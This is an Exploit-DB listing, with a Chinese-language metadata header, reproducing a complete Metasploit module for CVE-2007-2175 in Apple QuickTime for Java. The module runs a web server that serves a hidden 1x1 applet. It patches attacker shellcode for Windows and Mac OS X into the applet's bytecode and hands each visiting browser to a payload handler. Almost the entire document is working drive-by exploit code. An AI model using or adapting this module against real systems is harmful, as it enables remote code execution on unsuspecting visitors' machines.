标题: Apple QTJava - 'toQTPointer()' Arbitrary Memory Access (Metasploit) EDB-ID: 16295 CVE: 2007-2175 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: qtjava_pointer.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
   'Description'    => %q{
    This module exploits an arbitrary memory access vulnerability in the
   Quicktime for Java API provided with Quicktime 7.

   },
   'License'        => MSF_LICENSE,
   'Author'         =>
   [
    'hdm',           # Original exploit for Mac OS X PPC / Win32
    'kf',            # Added support for Mac OS X X86
    'ddz'            # Discovered bug, provided tips
   ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE',    '2007-2175'],
     ['OSVDB', '34178'],
     ['BID',    '23608'],
     ['URL',    'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],
    ],
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => ''
    },
   'Targets'        =>
    [
#
# Problem with generic payloads + regenerate_payload still :(
#
#     [ 'Quicktime 7 Automatic',
#      {
#       'Platform' => ['win', 'osx'],
#       'Arch' => [ARCH_X86, ARCH_PPC]
#      }
#     ],
     [ 'Quicktime 7 on Windows x86',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86
      }
     ],
     [ 'Quicktime 7 on Mac OS X PPC',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_PPC,
      }
     ],
     [ 'Quicktime 7 on Mac OS X x86',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_X86,
      }
     ],
    ],
#   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 23 2007'
   ))
 end


 def exploit
  # load the class data
  path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")
  fd = File.open(path, "rb")
  @class_data = fd.read(fd.stat.size)
  fd.close

  super
 end


 def on_request_uri(cli, req)

  # Create a cached mapping between IP and detected target
  @targetcache ||= {}
  @targetcache[cli.peerhost] ||= {}
  @targetcache[cli.peerhost][:update] = Time.now.to_i

  if (target.name =~ /Automatic/)
   case req.headers['User-Agent']
   when /Windows/i
    print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
    @targetcache[cli.peerhost][:target] = self.targets[1]
   when /PPC Mac OS X/i
    print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
    @targetcache[cli.peerhost][:target] = self.targets[2]
   when /Intel Mac OS X/i
    print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
    @targetcache[cli.peerhost][:target] = self.targets[3]
   end
  end

  # Clean the cache
  rmq = []
  @targetcache.each_key do |addr|
   if (Time.now.to_i > @targetcache[addr][:update]+60)
    rmq.push addr
   end
  end

  rmq.each {|addr| @targetcache.delete(addr) }


  # Request processing

  if (not req.uri.match(/\.class$/i))

   # Redirect to the base directory so the applet code loads...
   if (not req.uri.match(/\/$/))
    send_redirect(cli, get_resource() + '/', '')
    return
   end

   # Display the applet loading HTML
   print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
   send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
   return
  end

  # Send the actual applet over
  print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })

  # Handle the payload
  handler(cli)
 end

 def generate_html()
  return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
 end

 def generate_applet(cli, req)

  this_target = nil
  if (target.name =~ /Automatic/)
   if (@targetcache[cli.peerhost][:target])
    this_target = @targetcache[cli.peerhost][:target]
   else
    return ''
   end
  else
   this_target = target
  end

  # make a copy..
  data = @class_data.dup

  # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
  idx_targ = data.index("\x03\x10\xcc\x54")

  # 1024 bytes for shellcode
  idx_code = data.index("\x03\x10\xf0\x54")

  # Handle Mac OS X PPC
  if (this_target.arch.include?(ARCH_PPC))
   tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
   data = patch_bytecode(idx_code, data, tp.encoded)
   data = patch_bytecode(idx_targ, data, "\x01")
  end

  # Handle Mac OS X x86 / Windows x86
  if (this_target.arch.include?(ARCH_X86))

   if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
    tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
    data = patch_bytecode(idx_code, data, tp.encoded)
    data = patch_bytecode(idx_targ, data, "\x03")
   end

   if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
    tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
    data = patch_bytecode(idx_code, data, tp.encoded)
    data = patch_bytecode(idx_targ, data, "\x02")
   end
  end

  return data
 end

 def patch_bytecode(off, data, buff)

  cnt = 0
  off -= 1
  while (cnt < buff.length)
   cnt += 1
   while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
    off += 1
   end
   data[off]=buff[cnt-1]
   off += 1
  end

  return data
 end


end URL: https://www.exploit-db.com/exploits/16295